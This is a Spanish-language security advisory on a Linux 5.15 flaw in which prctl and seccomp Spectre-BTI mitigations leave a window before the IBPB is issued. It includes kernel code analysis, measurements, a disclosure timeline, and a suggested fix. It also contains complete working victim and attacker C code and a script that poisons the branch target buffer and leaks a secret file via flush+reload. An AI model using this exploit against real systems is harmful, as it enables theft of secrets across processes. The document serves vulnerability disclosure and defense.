
Análisis técnico y prueba de concepto que demuestra una evasión de las mitigaciones del espacio de usuario de Spectre-BTI en el kernel de Linux mediante prctl y seccomp, con un exploit de canal lateral flush+reload.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Al probar la tasa de éxito de los ataques Spectre-BTI, detectamos un patrón extraño al usar la API del kernel como mitigación1. Nuestras pruebas revelaron que el kernel de Linux no mitiga correctamente el ataque, dejando el proceso expuesto durante un breve período de tiempo después de la syscall.
Una investigación más a fondo mostró que el kernel no emite un IBPB inmediatamente durante la syscall. La función ib_prctl_set2 actualiza los Thread Information Flags (TIFs) para la tarea y actualiza el MSR SPEC_CTRL en la función __speculation_ctrl_update 3, pero el IBPB solo se emite en el próximo schedule, cuando se verifican los bits TIF. Esto deja a la víctima vulnerable a valores ya inyectados en el BTB, antes de la syscall prctl. El comportamiento solo se corrige después de que ocurra una reprogramación de la tarea. Además, la entrada al kernel (debido a la syscall en sí) no emite un IBPB en los escenarios predeterminados (es decir, cuando el kernel se protege a sí mismo mediante retpoline o eIBRS).
Ejecutar un prctl para mitigar los ataques spectre-BTI usando:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
conduce a la función ib_prctl_set2 en el kernel 5.15. Cuando se usa la opción SPEC_DISABLE, el bit TIF para task_set_spec_ib_disable se establece y se llama a task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable llama a set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); y si la tarea objetivo es la actual, llama a speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current después del envoltorio speculation_ctrl_update ejecuta __speculation_ctrl_update con tifp = ~tifp, aquí se ejecuta la actualización del wrmsr para establecer STIBP pero no se emite ningún IBPB:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
La syscall seccomp también usa ib_prctl_set2 como mitigación, dentro de arch_seccomp_spec_mitigate4 por lo que se espera el mismo resultado con seccomp.
Si bien mediante el análisis de código estamos seguros de que existe la ventana para explotar, no estaba claro si era lo suficientemente grande para que la víctima cargara secretos y el atacante los filtrara (ya que se espera que los secretos no estén en el espacio de direcciones de la víctima hasta que se emita la llamada prctl). Las pruebas se ejecutaron en una máquina bare metal con soporte para mitigaciones de hardware, con ubuntu 22.04.1 LTS instalado:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
El código de prueba consiste en dos procesos ejecutándose en el mismo núcleo lógico. El atacante envenena constantemente el BTB con la dirección de un gadget spectre presente en un proceso víctima. El proceso víctima mide la tasa de mispredicción verificando si una variable de prueba fue accedida por la función gadget spectre. Esto normalmente devuelve la siguiente salida:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Luego, se usa PRCTL para mitigar el ataque. La mitigación se puede habilitar agregando prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); al comienzo del programa. Se espera que esto mitigue el ataque spectre-BTI:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Sin embargo, algunas de las pruebas mostraron un resultado diferente:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
Y cambiar el 'nice' (prioridad) parece afectar la tasa de mispredicción:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
Esto indica que prctl solo protegió el proceso después del próximo schedule, como se entendió mediante el análisis de código. Otro comportamiento extraño de esta prueba es que después de una rama incorrecta, la ruta de especulación debería corregirse y el valor verdadero debe escribirse en el BTB. Dado que no hay otros atacantes en el hilo hermano para re-envenenar el BTB, valores tan altos de mispredicción son inesperados.
Para asegurarnos de que esto no fuera un error de medición, creamos una POC simple. El código de la víctima siempre ejecuta una safe_function a través de un puntero a función que es vulnerable a un ataque spectre-BTI. La víctima solicita al kernel protección usando la syscall prctl (dentro de protect_me). La víctima también carga un secreto de un archivo de texto, mostrando que otras syscalls tampoco verifican el bit TIF ni provocan una reprogramación que forzaría un IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
La mayoría de las funciones de libc se colocaron dentro de un encabezado común entre el atacante y la víctima para que las funciones spectre_gadget y spec compartan las mismas direcciones de memoria tanto en la víctima como en el atacante (de lo contrario, se crea una entrada .GOT y las direcciones se modifican). Esto no es un requisito y hay otras formas de colocar las ramas en las mismas direcciones y emular el contexto de la víctima, pero este método es más simple.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
El ataque consiste en envenenar el BTB llamando a la función spec y haciendo que bifurque a spectre_gadget en lugar de safe_function. Después del entrenamiento, se crea el proceso víctima y ejecuta spec que predice incorrectamente a spectre_gadget, que nunca debería ejecutarse. El secreto se filtra a través de un canal lateral clásico flush+reload.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
Dado que la víctima recibe un argumento que se puede usar para elegir el bit que se va a filtrar a través del canal lateral, podemos ejecutar el proceso víctima varias veces mientras el atacante se está ejecutando:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
Esto deja el siguiente archivo de texto:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
Note que los bits 0 y 6 son 1, por lo tanto, el primer carácter debe ser 0x41(A).
Analizando el archivo con un script Python simple muestra:
The secret leaked is: b'Asuper_secret_flag'
Que es el contenido exacto presente en secret.txt usado por la víctima.
Cambiar la llamada prctl por seccomp con syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); después de cargar el secreto no previene el ataque. Esto es esperado ya que internamente ambas usan la misma función ib_prctl_set para implementar la mitigación.
La implementación actual de la syscall prctl para el control especulativo no protege al usuario contra atacantes que se ejecutan antes de la mitigación. La mitigación seccomp también falla en este escenario.
Para aplicaciones en modo usuario, un usleep después de la llamada prctl es suficiente para forzar una reprogramación y asegurar la mitigación correcta. Un posible parche del kernel para este ataque es emitir el IBPB al mismo tiempo que se establece STIBP, en __speculation_ctrl_update 3 o llamar a schedule().
27 de diciembre de 2022 - Comportamiento inesperado en prctl detectado
29 de diciembre de 2022 - Primera versión de este informe
31 de diciembre de 2022 - Compartido con el equipo de seguridad del kernel de Linux
3 de febrero de 2023 - Informe divulgado públicamente: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
"Guía de API de espacio de usuario del kernel de Linux: Control de especulación". Enlace: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"Código fuente de Linux" Enlace: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467 ↩ ↩2 ↩3
"Código fuente de Linux" Enlace: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557 ↩ ↩2
"Código fuente de Linux" Enlace: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616 ↩